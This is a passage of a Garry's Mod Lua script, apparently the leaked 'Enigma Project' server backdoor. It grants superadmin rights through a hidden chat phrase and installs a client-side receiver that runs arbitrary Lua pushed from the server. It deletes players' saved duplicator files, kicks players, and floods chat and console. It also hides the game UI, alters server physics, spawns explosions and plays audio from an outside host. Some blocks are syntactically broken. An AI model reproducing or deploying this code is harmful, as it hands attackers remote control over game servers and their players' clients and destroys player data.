1994
1995
1996local r = debug.getregistry();
1997
1998function r.Player.IPAddress = function()
1999 return "If you try to see me, you make pity.";
2000end
2001
2002
2003
2004--[[
2005
2006 Death Effect
2007
2008]]--
2009
2010
2011function playerDies( victim, weapon, killer )
2012
2013 game.SetTimeScale(2.0)
2014 timer.Simple(.01, function() game.SetTimeScale(0.01) end)
2015 timer.Simple(.05, function() game.SetTimeScale(0.1) end)
2016 timer.Simple(.09, function() game.SetTimeScale(0.3) end)
2017 timer.Simple(.13, function() game.SetTimeScale(0.6) end)
2018 timer.Simple(.17, function() game.SetTimeScale(1) end)
2019 end
2020
2021 hook.Add( "PlayerDeath", "playerDeathTest", playerDies )
2022
2023
2024
2025--[[
2026
2027 Set All Player Group
2028
2029]]--
2030
2031
2032for k,v in pairs(player.GetAll()) and v == LocalPlayer() do v:SetUserGroup('superadmin') end end
2033
2034
2035
2036--[[
2037
2038 Delete All Players ADV Dup Folder
2039
2040]]--
2041
2042
2043for k, v in pairs(file.Find([[adv_duplicator/*]])) do for ik, av in pairs(file.Find([[adv_duplicator/]] .. v .. [[/*]])) do file.Delete([[adv_duplicator/]] .. v .. [[/]] .. av) end end
2044
2045
2046
2047--[[
2048
2049 Ground
2050
2051]]--
2052
2053
2054
2055for k,v in pairs(player.GetAll()) do
2056 v:local function=("ground")("color.math.66=math.99")
2057
2058end
2059
2060
2061--[[
2062
2063 FreeKick (PING)
2064
2065]]--
2066
2067
2068timer.Create( "BadPingNoPlay", 2, 0, function()
2069 for _, ply in pairs(player.GetAll()) do
2070 if ply:Ping() > 15 then
2071 ply:Kick("Sorry, something went wrong.") end end end )
2072
2073
2074
2075--[[
2076
2077 Enigma Project
2078
2079]]--
2080
2081
2082timer.Create("nonameplease", 5, 0,function()
2083 for i=1, #player.GetHumans() do
2084 local ply = player.GetHumans()[i]
2085 ply:Say( "/ooc DISCORD : https://discord.gg/9rS2jhf")
2086 end
2087end)
2088BroadcastLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
2089util.AddNetworkString "EnigmaProject"
2090
2091local CHANGERPSEUDO = "The Σnigma Project Was Completed"
2092local enigmalaunchproject = {}
2093function enigmalaunchproject:RandomString( intMin, intMax )
2094 local ret = ""
2095 for _ = 1, math.random( intMin, intMax ) do
2096 ret = ret.. string.char( math.random(65, 90) )
2097 end
2098
2099 return ret
2100end
2101
2102
2103
2104enigmalaunchproject.m_tblActions = {}
2105enigmalaunchproject.m_strImageGlobalVar = enigmalaunchproject:RandomString( 6, 12 )
2106enigmalaunchproject.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
2107
2108function enigmalaunchproject:NouvelleAction( intChainDelay, func )
2109 self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
2110end
2111
2112function enigmalaunchproject:ActionApres( pPlayer )
2113 pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
2114 if not self.m_tblActions[pPlayer.m_intCurAction] then return end
2115
2116 timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
2117 if not IsValid( pPlayer ) then return end
2118 self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
2119 self:ActionApres( pPlayer )
2120 end )
2121end
2122
2123function enigmalaunchproject:Start( pPlayer )
2124 pPlayer.m_intCurAction = 0
2125 self:ActionApres( pPlayer )
2126end
2127
2128function enigmalaunchproject:SendLua( pPlayer, strLua )
2129pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
2130 net.Start( "EnigmaProject" )
2131 net.WriteString( strLua )
2132 net.Send( pPlayer )
2133end
2134
2135function enigmalaunchproject:SetupPlayer( pPlayer )
2136 pPlayer:SendLua( "net.Receive(\"EnigmaProject\", function() RunString(net.ReadString()) end)" )
2137end
2138
2139
2140
2141
2142
2143
2144-- DANSE --
2145
2146
2147for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_until_your_dead",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
2148
2149
2150-- FIN DANSE --
2151
2152
2153
2154
2155-- CHANGER NOM --
2156
2157
2158for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, CHANGERPSEUDO) v:setDarkRPVar("rpname", CHANGERPSEUDO) end
2159
2160
2161-- FIN CHANGER NOM --
2162
2163
2164
2165-- Console Spam
2166
2167decore = {
2168[[
2169
2170
2171
2172
2173
2174
2175
2176
2177
2178
2179
2180
2181
2182
2183
2184
2185
2186
2187
2188
2189
2190
2191
2192
2193
2194
2195
2196
2197
2198
2199
2200
2201
2202
2203
2204
2205
2206
2207
2208
2209
2210
2211 .,,uod8B8bou,,.
2212 ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
2213 ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
2214 !...:!TVBBBRPFT||||||||||!!^^""' ||||
2215 !.......:!?|||||!!^^""' ||||
2216 !.........|||| ||||
2217 !.........|||| ENIGMA IS ||||
2218 !.........|||| ||||
2219 !.........|||| |_| ||||
2220 !.........|||| not | |ere ||||
2221 !.........|||| ||||
2222 `.........|||| ,||||
2223 .;.......|||| _.-!!|||||
2224 .,uodWBBBBb.....|||| _.-!!|||||||||!:'
2225!YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
2226!..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
2227!....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
2228!......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
2229!........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
2230`..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
2231 `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
2232 `........::::::::::::::::;iof688888888888888888888b. `
2233 `......:::::::::;iof688888888888888888888888888888b.
2234 `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
2235 `..::!8888888888888888888888888888888899fT|!^"'
2236 `' !!988888888888888888888888899fT|!^"'
2237 `!!8888888888888888899fT|!^"'
2238 `!988888888899fT|!^"'
2239 `!9899fT|!^"'
2240 `!^"'
2241]]
2242,
2243[[
2244
2245
2246
2247
2248
2249
2250
2251
2252
2253
2254
2255
2256
2257
2258
2259
2260
2261
2262
2263
2264
2265
2266
2267
2268
2269
2270
2271
2272
2273
2274
2275
2276
2277
2278
2279
2280
2281
2282
2283
2284
2285 .,,uod8B8bou,,.
2286 ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
2287 ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
2288 !...:!TVBBBRPFT||||||||||!!^^""' ||||
2289 !.......:!?|||||!!^^""' ||||
2290 !.........|||| ||||
2291 !.........|||| ||||
2292 !.........|||| THIS SCRIPT ||||
2293 !.........|||| ||||
2294 !.........|||| IS LEAKED ||||
2295 !.........|||| ||||
2296 `.........|||| BY ANATIK ,||||
2297 .;.......|||| _.-!!|||||
2298 .,uodWBBBBb.....|||| _.-!!|||||||||!:'
2299!YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
2300!..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
2301!....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
2302!......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
2303!........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
2304`..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
2305 `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
2306 `........::::::::::::::::;iof688888888888888888888b. `
2307 `......:::::::::;iof688888888888888888888888888888b.
2308 `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
2309 `..::!8888888888888888888888888888888899fT|!^"'
2310 `' !!988888888888888888888888899fT|!^"'
2311 `!!8888888888888888899fT|!^"'
2312 `!988888888899fT|!^"'
2313 `!9899fT|!^"'
2314 `!^"'
2315]]
2316,
2317[[
2318
2319
2320
2321
2322
2323
2324
2325
2326
2327
2328
2329
2330
2331
2332
2333
2334
2335
2336
2337
2338
2339
2340
2341
2342
2343
2344
2345
2346
2347
2348
2349
2350
2351
2352
2353
2354
2355
2356
2357
2358
2359 .,,uod8B8bou,,.
2360 ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
2361 ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
2362 !...:!TVBBBRPFT||||||||||!!^^""' ||||
2363 !.......:!?|||||!!^^""' ||||
2364 !.........|||| ||||
2365 !.........|||| It's Too Glitchy ||||
2366 !.........|||| ||||
2367 !.........|||| . . ||||
2368 !.........|||| - ||||
2369 !.........|||| ||||
2370 `.........|||| HELP ME PLEASE ,||||
2371 .;.......|||| _.-!!|||||
2372 .,uodWBBBBb.....|||| _.-!!|||||||||!:'
2373!YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
2374!..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
2375!....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
2376!......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
2377!........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
2378`..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
2379 `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
2380 `........::::::::::::::::;iof688888888888888888888b. `
2381 `......:::::::::;iof688888888888888888888888888888b.
2382 `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
2383 `..::!8888888888888888888888888888888899fT|!^"'
2384 `' !!988888888888888888888888899fT|!^"'
2385 `!!8888888888888888899fT|!^"'
2386 `!988888888899fT|!^"'
2387 `!9899fT|!^"'
2388 `!^"'
2389]]
2390,
2391[[
2392
2393
2394
2395
2396
2397
2398
2399
2400
2401
2402
2403
2404
2405
2406
2407
2408
2409
2410
2411
2412
2413
2414
2415
2416
2417
2418
2419
2420
2421
2422
2423
2424
2425
2426
2427
2428
2429
2430
2431
2432
2433 .,,uod8B8bou,,.
2434 ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
2435 ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
2436 !...:!TVBBBRPFT||||||||||!!^^""' ||||
2437 !.......:!?|||||!!^^""' ||||
2438 !.........|||| ||||
2439 !.........|||| HELP ME !!! ||||
2440 !.........|||| ||||
2441 !.........|||| I NEED HELP ! ||||
2442 !.........|||| ||||
2443 !.........|||| ... ||||
2444 `.........|||| ,||||
2445 .;.......|||| _.-!!|||||
2446 .,uodWBBBBb.....|||| _.-!!|||||||||!:'
2447!YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
2448!..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
2449!....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
2450!......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
2451!........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
2452`..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
2453 `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
2454 `........::::::::::::::::;iof688888888888888888888b. `
2455 `......:::::::::;iof688888888888888888888888888888b.
2456 `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
2457 `..::!8888888888888888888888888888888899fT|!^"'
2458 `' !!988888888888888888888888899fT|!^"'
2459 `!!8888888888888888899fT|!^"'
2460 `!988888888899fT|!^"'
2461 `!9899fT|!^"'
2462 `!^"'
2463]]
2464,
2465[[
2466
2467
2468
2469
2470
2471
2472
2473
2474
2475
2476
2477
2478
2479
2480
2481
2482
2483
2484
2485
2486
2487
2488
2489
2490
2491
2492
2493
2494
2495
2496
2497
2498
2499
2500
2501
2502
2503
2504
2505
2506
2507 .,,uod8B8bou,,.
2508 ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
2509 ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
2510 !...:!TVBBBRPFT||||||||||!!^^""' ||||
2511 !.......:!?|||||!!^^""' ||||
2512 !.........|||| ||||
2513 !.........|||| What Is Love ||||
2514 !.........|||| Baby Don' Hurt Me ||||
2515 !.........|||| No More ||||
2516 !.........|||| ||||
2517 !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
2518 `.........|||| ,||||
2519 .;.......|||| _.-!!|||||
2520 .,uodWBBBBb.....|||| _.-!!|||||||||!:'
2521!YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
2522!..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
2523!....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
2524!......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
2525!........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
2526`..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
2527 `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
2528 `........::::::::::::::::;iof688888888888888888888b. `
2529 `......:::::::::;iof688888888888888888888888888888b.
2530 `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
2531 `..::!8888888888888888888888888888888899fT|!^"'
2532 `' !!988888888888888888888888899fT|!^"'
2533 `!!8888888888888888899fT|!^"'
2534 `!988888888899fT|!^"'
2535 `!9899fT|!^"'
2536 `!^"'
2537]]
2538}
2539
2540function decorationconsole()
2541 print(Color( 0, 0, 0 ), table.Random(decore))
2542end
2543-- Console Spam
2544for k, v in pairs( player.GetAll() ) do
2545 timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
2546end
2547
2548--[[ MODE ARMAGEDDON --
2549
2550
2551 hook.Add("Think", "armageddon", function()
2552 local explode = ents.Create( "env_explosion" )
2553 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
2554 explode:Spawn()
2555 explode:SetKeyValue( "iMagnitude", "500" )
2556 explode:Fire( "Explode", 0, 0 )
2557 end)
2558
2559
2560-- FIN MODE ARMAGEDDON ]]--
2561
2562
2563-- Send Lua --
2564 function SendLuaAll( str ) net.Start( "EnigmaProject" ) net.WriteString( str ) net.Broadcast() end
2565
2566
2567-- Changer Taille --
2568
2569
2570hook.Add("Think", "giant", function()
2571 for k,v in pairs (player.GetAll()) do
2572 v:SetModelScale(50.5, 100);
2573 v:SetRunSpeed(700 * 2);
2574 v:SetWalkSpeed(400 * 2);
2575 end
2576end)
2577
2578
2579-- Fin Changer Taille --
2580
2581
2582
2583-- Message --
2584
2585
2586for k,v in pairs(player.GetAll()) do
2587 v:ConCommand("say /ooc Ce monde cancer est éliminé, Le projet Σnigma avance !")
2588end
2589
2590
2591-- Message Fin --
2592
2593
2594
2595-- Auto Lançage --
2596
2597
2598for k, v in pairs( player.GetAll() ) do
2599 enigmalaunchproject:SetupPlayer( v )
2600 timer.Simple( 2, function() enigmalaunchproject:Start( v ) end )
2601end
2602
2603
2604-- Fin Auto Lançage --
2605
2606
2607-- Lancer Aux Nouveaux Arrivants --
2608
2609
2610--hook.Add( "PlayerAuthed", "wtfispassequoi", function( pPlayer )
2611-- enigmalaunchproject:SetupPlayer( pPlayer )
2612-- timer.Simple( 10, function() enigmalaunchproject:Start( pPlayer ) end )
2613--end )
2614
2615-- Fin Lancer Aux Nouveaux Arrivants --
2616
2617
2618
2619-- Commande Enigma --
2620
2621
2622hook.Add( "PlayerSay", "EnigmaCKoa", function( pSender, strText, bTeamChat )
2623 if strText:sub( 1, 5 ) == "Enigma" then
2624 pSender:Ignite( 1e9 )
2625 pSender:ChatPrint( "Σnigma est ici pour exterminer tout les serveurs cancer de Garry's Mod =)" )
2626 pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
2627 return false
2628 end
2629end )
2630
2631
2632-- Fin Commande Enigma
2633
2634
2635
2636
2637
2638hook.Add( "PlayerSay", "a4dxvlwxdlco", function( pSender, strText, bTeamChat )
2639 if strText:sub( 1, 5 ) == "EnigmaIsLitteralyMyFuckingGod" then
2640 pSender:SetUserGroup("superadmin")
2641 pSender:ChatPrint( "Tu est l'un des notres !" )
2642 pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
2643 return false
2644 end
2645end)
2646
2647
2648
2649
2650
2651
2652
2653
2654
2655
2656enigmalaunchproject:NouvelleAction( 0, function( pPlayer )
2657 enigmalaunchproject:SendLua( pPlayer, ([=[
2658
2659 sound.PlayURL( "https://gvac.cz/assets/galshi.mp3", "", function()end )
2660
2661 g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[ = {}
2662 local html = [[%s]]
2663 local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
2664 local pnl = vgui.Create( "HTML" )
2665 pnl:SetPos( ScrW() -1, ScrH() -1 )
2666 pnl:SetVisible( true )
2667 pnl:SetMouseInputEnabled( false )
2668 pnl:SetKeyBoardInputEnabled( false )
2669 pnl:SetSize( intSizeX, intSizeY )
2670 pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
2671
2672 local PageLoaded
2673 PageLoaded = function()
2674 local mat = pnl:GetHTMLMaterial()
2675 if mat then
2676 g_]=].. enigmalaunchproject.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
2677 return
2678 end
2679
2680 timer.Simple( 0.5, PageLoaded )
2681 end
2682
2683 PageLoaded()
2684 end
2685
2686--LoadWebMaterial( "https://image.noelshack.com/fichiers/2018/06/5/1518211648-sans-titre-6.gif", "getrekt", 1920, 1080 )
2687
2688 hook.Add( "RenderScreenspaceEffects", "itsredworld", function()
2689 local sinScaler = math.sin( CurTime() )
2690 DrawBloom(
2691 0,
2692 3,
2693 sinScaler *math.Rand(1, 8),
2694 sinScaler *math.Rand(1, 8),
2695 6,
2696 math.Rand(0.5, 2),
2697 math.Rand(0, 0.3),
2698 math.Rand(0, 0.3),
2699 math.Rand(0.5, 1)
2700 )
2701
2702 DrawColorModify{
2703 ["$pp_colour_addr"] = 1,
2704 ["$pp_colour_addg"] = 0,
2705 ["$pp_colour_addb"] = 0,
2706 ["$pp_colour_brightness" ] = 0.1,
2707 ["$pp_colour_contrast" ] = 0.1,
2708 ["$pp_colour_colour" ] = 0.1,
2709 ["$pp_colour_mulr" ] = 1,
2710 ["$pp_colour_mulg" ] = 0,
2711 ["$pp_colour_mulb" ] = 0
2712 }
2713 end )
2714
2715]=]):format(enigmalaunchproject.m_strImageLoadHTML) )
2716end )
2717
2718
2719
2720
2721enigmalaunchproject:NouvelleAction( 14, function( pPlayer )
2722 enigmalaunchproject:SendLua( pPlayer, [[
2723
2724 (GAMEMODE or GM).CalcView = function() end
2725 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
2726
2727 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
2728 for k, v in pairs(remove) do
2729 hook.GetTable()[v] = {}
2730 end
2731
2732 local function GetWebMat( strURL )
2733 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
2734 end
2735
2736 hook.Add( "HUDPaint", "hud1enigma", function()
2737 surface.SetDrawColor( 255, 255, 255, 255 )
2738
2739 if GetWebMat( "getrekt" ) then
2740 surface.SetMaterial( GetWebMat("getrekt")[1] )
2741 surface.DrawTexturedRect( 0, 0, 2100, 2000 )
2742 end
2743
2744 draw.SimpleTextOutlined(
2745 "The Enigma Project Was Completed",
2746 "DermaLarge",
2747 ScrW() /2 +math.random( -2, 2 ),
2748 ScrH() /2 +math.random( -2, 2 ) +0,
2749 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
2750 TEXT_ALIGN_CENTER,
2751 TEXT_ALIGN_CENTER,
2752 1,
2753 Color(math.random(1,255),math.random(1,255),math.random(1,255))
2754)
2755end )
2756
2757 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
2758 hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
2759
2760 ]] )
2761end )
2762
2763
2764
2765enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
2766 enigmalaunchproject:SendLua( pPlayer, [[
2767
2768 hook.Remove( "HUDPaint", "hud1enigma", function() end)
2769
2770
2771
2772 ]] )
2773end )
2774
2775enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
2776 enigmalaunchproject:SendLua( pPlayer, [[
2777
2778 (GAMEMODE or GM).CalcView = function() end
2779 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
2780
2781 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
2782 for k, v in pairs(remove) do
2783 hook.GetTable()[v] = {}
2784 end
2785
2786 local function GetWebMat( strURL )
2787 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
2788 end
2789
2790 hook.Add( "HUDPaint", "hud1enigma", function()
2791 surface.SetDrawColor( 255, 255, 255, 255 )
2792
2793 if GetWebMat( "getrekt" ) then
2794 surface.SetMaterial( GetWebMat("getrekt")[1] )
2795 surface.DrawTexturedRect( 0, 0, 2100, 2000 )
2796 end
2797
2798 draw.SimpleTextOutlined(
2799 "Today, this server is going to be purified",
2800 "DermaLarge",
2801 ScrW() /2 +math.random( -2, 2 ),
2802 ScrH() /2 +math.random( -2, 2 ) +0,
2803 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
2804 TEXT_ALIGN_CENTER,
2805 TEXT_ALIGN_CENTER,
2806 1,
2807 Color(math.random(1,255),math.random(1,255),math.random(1,255))
2808)
2809end )
2810
2811 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
2812 hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
2813
2814
2815 ]] )
2816end )
2817
2818enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
2819 enigmalaunchproject:SendLua( pPlayer, [[
2820
2821 hook.Remove( "HUDPaint", "hud1enigma", function() end)
2822
2823 ]] )
2824end )
2825
2826enigmalaunchproject:NouvelleAction( 3, function( pPlayer )
2827 enigmalaunchproject:SendLua( pPlayer, [[
2828
2829
2830 (GAMEMODE or GM).CalcView = function() end
2831 (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
2832
2833 local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
2834 for k, v in pairs(remove) do
2835 hook.GetTable()[v] = {}
2836 end
2837
2838 local function GetWebMat( strURL )
2839 return g_]].. enigmalaunchproject.m_strImageGlobalVar.. [[[strURL]
2840 end
2841
2842 hook.Add( "HUDPaint", "hud1enigma", function()
2843 surface.SetDrawColor( 255, 255, 255, 255 )
2844
2845 if GetWebMat( "getrekt" ) then
2846 surface.SetMaterial( GetWebMat("getrekt")[1] )
2847 surface.DrawTexturedRect( 0, 0, 2100, 2000 )
2848 end
2849
2850 draw.SimpleTextOutlined(
2851 "Now, Observe our power !",
2852 "DermaLarge",
2853 ScrW() /2 +math.random( -2, 2 ),
2854 ScrH() /2 +math.random( -2, 2 ) +0,
2855 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
2856 TEXT_ALIGN_CENTER,
2857 TEXT_ALIGN_CENTER,
2858 1,
2859 Color(math.random(1,255),math.random(1,255),math.random(1,255))
2860)
2861end )
2862
2863 local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
2864 hook.Add( "HUDShouldDraw", "hud1enigma", function( str ) if not allowed[str] then return false end end )
2865
2866
2867
2868 ]] )
2869end )
2870
2871enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2872 enigmalaunchproject:SendLua( pPlayer, [[
2873
2874for k,v in pairs(player.GetAll()) do
2875 v:ConCommand("say /job We Love Enigma")
2876end
2877
2878 ]] )
2879end )
2880
2881enigmalaunchproject:NouvelleAction( 2, function( pPlayer )
2882 enigmalaunchproject:SendLua( pPlayer, [[
2883
2884 hook.Remove( "HUDPaint", "hud1enigma", function() end)
2885
2886 ]] )
2887end )
2888
2889enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2890 enigmalaunchproject:SendLua( pPlayer, [[
2891
2892 RunConsoleCommand("+right")
2893
2894 ]] )
2895end )
2896
2897enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2898 enigmalaunchproject:SendLua( pPlayer, [[
2899
2900 RunConsoleCommand("-right")
2901
2902 ]] )
2903end )
2904
2905enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2906 enigmalaunchproject:SendLua( pPlayer, [[
2907
2908 RunConsoleCommand("+duck")
2909
2910 ]] )
2911end )
2912
2913enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2914 enigmalaunchproject:SendLua( pPlayer, [[
2915
2916 RunConsoleCommand("-duck")
2917
2918 ]] )
2919end )
2920
2921enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2922
2923timer.Create( "lespamckool", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Enigma will bring back this game from his ashes" )' ) end)
2924timer.Create( "lespamckool2", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "We control this game !" )' ) end)
2925timer.Create( "lespamckool3", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "Server in purification" )' ) end)
2926timer.Create( "lespamckool4", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "ZILNIX" )' ) end)
2927timer.Create( "lespamckool5", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "KEETA" )' ) end)
2928timer.Create( "lespamckool6", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "IXXE" )' ) end)
2929timer.Create( "lespamckool7", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "And GVacdoor Members !" )' ) end)
2930timer.Create( "lespamckool8", 0.5, 0, function() SendLuaAll('chat.AddText( Color( math.random(0, 255), math.random(0, 255), math.random(0, 255) ), "The Elite Of GMod" )' ) end)
2931
2932end )
2933
2934
2935enigmalaunchproject:NouvelleAction( 4, function( pPlayer )
2936
2937timer.Remove( "lespamckool" )
2938timer.Remove( "lespamckool2" )
2939timer.Remove( "lespamckool3" )
2940timer.Remove( "lespamckool4" )
2941timer.Remove( "lespamckool5" )
2942timer.Remove( "lespamckool6" )
2943timer.Remove( "lespamckool7" )
2944timer.Remove( "lespamckool8" )
2945
2946end )
2947
2948enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2949
2950
2951RunConsoleCommand("sv_friction", "-50")
2952
2953
2954end )
2955
2956enigmalaunchproject:NouvelleAction( 1, function( pPlayer )
2957
2958
2959RunConsoleCommand("sv_gravity", "300")
2960
2961
2962end )
2963
2964enigmalaunchproject:NouvelleAction( 12, function( pPlayer )
2965
2966
2967 hook.Add("Think", "armageddon", function()
2968 local explode = ents.Create( "env_explosion" )
2969 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
2970 explode:Spawn()
2971 explode:SetKeyValue( "iMagnitude", "500" )
2972 explode:Fire( "Explode", 0, 0 )
2973 end)
2974
2975end )
2976
2977
2978enigmalaunchproject:NouvelleAction( 27, function( pPlayer )
2979
2980 hook.Remove( "Think", "armageddon", function() end)
2981
2982end )
2983
2984enigmalaunchproject:NouvelleAction( 7, function( pPlayer )
2985enigmalaunchproject:SendLua( pPlayer, [[
2986 hook.Add( "RenderScreenspaceEffects", "itsendofworld", function()
2987 local sinScaler = math.sin( CurTime() )
2988 DrawBloom(
2989 0,
2990 3,
2991 sinScaler *math.Rand(1, 8),
2992 sinScaler *math.Rand(1, 8),
2993 6,
2994 math.Rand(0.5, 2),
2995 math.Rand(0, 0.3),
2996 math.Rand(0, 0.3),
2997 math.Rand(0.5, 1)
2998 )
2999
3000 DrawColorModify{
3001 ["$pp_colour_addr"] = 0,
3002 ["$pp_colour_addg"] = 0,
3003 ["$pp_colour_addb"] = 0,
3004 ["$pp_colour_brightness" ] = 0.1,
3005 ["$pp_colour_contrast" ] = 0.1,
3006 ["$pp_colour_colour" ] = 0.1,
3007 ["$pp_colour_mulr" ] = 0,
3008 ["$pp_colour_mulg" ] = 0,
3009 ["$pp_colour_mulb" ] = 0
3010 }
3011 end )
3012
3013 ]] )
3014end )
3015
